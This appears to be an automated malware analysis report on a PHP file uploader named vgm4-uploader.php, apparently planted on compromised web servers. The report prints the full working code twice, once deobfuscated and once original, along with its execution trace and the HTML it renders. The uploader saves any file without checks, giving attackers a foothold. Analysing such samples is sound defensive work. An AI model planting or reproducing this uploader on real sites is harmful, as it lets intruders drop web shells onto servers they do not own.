PHP Malware Analysis

vgm4-uploader.php

md5: f5a125479fc1c567d6b4c12b9dc3a506

Jump to:

Screenshot


Attributes

Environment

Files

Input

URLs


Deobfuscated PHP code

<?php

if (!empty($_FILES['uploaded_file'])) {
    $path = getcwd() . "/";
    $path .= basename($_FILES['uploaded_file']['name']);
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
        echo "<p style=\"text-align: center;\"><span style=\"color: #00ff00;\">successfully uploaded</span></p>";
    } else {
        echo "<div><div style=\"text-align: center;\"><span style=\"color: #ff0000;\">There was an error uploading the file, please try again!</span></div></div>";
    }
}
?>
<html>
<body>
<p style="text-align: center;"><img style="display: block; margin-left: auto; margin-right: auto;" src="https://mrvgunz.xyz/Image/VGM4.png" width="347" height="319" /><span style="color: #808080;"></span></p>
<h2><p style="text-align: center;"><strong><span style="color: #00ff00; font-family: monospace;"><a style="color: #00ff00;" href="http://instagram.com/mrvgunz">@MrVGunz</a> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;"><a style="color: #ff0000;" href="http://instagram.com/mrh4ted" target="_blank">@MrH4ted</a></span></span></strong></p></h2>

<form style="text-align: center;" enctype="multipart/form-data" action="" method="POST">
<h2><p style="text-align: center; font-family: monospace;"><span style="color: #00ff00;">Upload</span> <span style="color: #ffffff;">your</span> <span style="color: #ff0000;">file</span></p></h2>
  <input type="file" name="uploaded_file"></input><br />
  <input type="submit" class="button" value="Upload"></input>
<script>
  const actualBtn = document.getElementById('actual-btn');
const fileChosen = document.getElementById('file-chosen');
actualBtn.addEventListener('change', function(){
  fileChosen.textContent = this.files[0].name})
  </script>
  </form>
</body>
</body>
<style>
body{
    background-color:#000;
}
input[type="file"], textarea{
    color : #ff0000;
    font-family: monospace;
    font-size: 17px;
}
input[type="submit"]{
  font-size: 15px;
}
.button {
  transition-duration: 0.4s;
}

.button:hover {
  background-color: #4CAF50; /* Green */
  color: white;
}
</style>
</html>

Execution traces

data/traces/f5a125479fc1c567d6b4c12b9dc3a506_trace-1676251437.5405.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:24:23.438287]
1	0	1	0.000178	393576
1	3	0	0.000259	397888	{main}	1		/var/www/html/uploads/vgm4-uploader.php	0	0
1	3	1	0.000282	397888
			0.000315	314264
TRACE END   [2023-02-12 23:24:23.438461]


Generated HTML code

<html><head></head><body>
<p style="text-align: center;"><img style="display: block; margin-left: auto; margin-right: auto;" src="https://mrvgunz.xyz/Image/VGM4.png" width="347" height="319"><span style="color: #808080;"></span></p>
<h2><p style="text-align: center;"><strong><span style="color: #00ff00; font-family: monospace;"><a style="color: #00ff00;" href="http://instagram.com/mrvgunz">@MrVGunz</a> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;"><a style="color: #ff0000;" href="http://instagram.com/mrh4ted" target="_blank">@MrH4ted</a></span></span></strong></p></h2>

<form style="text-align: center;" enctype="multipart/form-data" action="" method="POST">
<h2><p style="text-align: center; font-family: monospace;"><span style="color: #00ff00;">Upload</span> <span style="color: #ffffff;">your</span> <span style="color: #ff0000;">file</span></p></h2>
  <input type="file" name="uploaded_file"><br>
  <input type="submit" class="button" value="Upload">
<script>
  const actualBtn = document.getElementById('actual-btn');
const fileChosen = document.getElementById('file-chosen');
actualBtn.addEventListener('change', function(){
  fileChosen.textContent = this.files[0].name})
  </script>
  </form>


<style>
body{
    background-color:#000;
}
input[type="file"], textarea{
    color : #ff0000;
    font-family: monospace;
    font-size: 17px;
}
input[type="submit"]{
  font-size: 15px;
}
.button {
  transition-duration: 0.4s;
}

.button:hover {
  background-color: #4CAF50; /* Green */
  color: white;
}
</style>
</body></html>

Original PHP code

<?php
if(!empty($_FILES['uploaded_file']))
{
  $path = getcwd() . "/";
  $path = $path . basename( $_FILES['uploaded_file']['name']);

  if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
    echo "<p style=\"text-align: center;\"><span style=\"color: #00ff00;\">successfully uploaded</span></p>";
  } else{
      echo "<div><div style=\"text-align: center;\"><span style=\"color: #ff0000;\">There was an error uploading the file, please try again!</span></div></div>";
  }
}
?>
<html>
<body>
<p style="text-align: center;"><img style="display: block; margin-left: auto; margin-right: auto;" src="https://mrvgunz.xyz/Image/VGM4.png" width="347" height="319" /><span style="color: #808080;"></span></p>
<h2><p style="text-align: center;"><strong><span style="color: #00ff00; font-family: monospace;"><a style="color: #00ff00;" href="http://instagram.com/mrvgunz">@MrVGunz</a> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;"><a style="color: #ff0000;" href="http://instagram.com/mrh4ted" target="_blank">@MrH4ted</a></span></span></strong></p></h2>

<form style="text-align: center;" enctype="multipart/form-data" action="" method="POST">
<h2><p style="text-align: center; font-family: monospace;"><span style="color: #00ff00;">Upload</span> <span style="color: #ffffff;">your</span> <span style="color: #ff0000;">file</span></p></h2>
  <input type="file" name="uploaded_file"></input><br />
  <input type="submit" class="button" value="Upload"></input>
<script>
  const actualBtn = document.getElementById('actual-btn');
const fileChosen = document.getElementById('file-chosen');
actualBtn.addEventListener('change', function(){
  fileChosen.textContent = this.files[0].name})
  </script>
  </form>
</body>
</body>
<style>
body{
    background-color:#000;
}
input[type="file"], textarea{
    color : #ff0000;
    font-family: monospace;
    font-size: 17px;
}
input[type="submit"]{
  font-size: 15px;
}
.button {
  transition-duration: 0.4s;
}

.button:hover {
  background-color: #4CAF50; /* Green */
  color: white;
}
</style>
</html>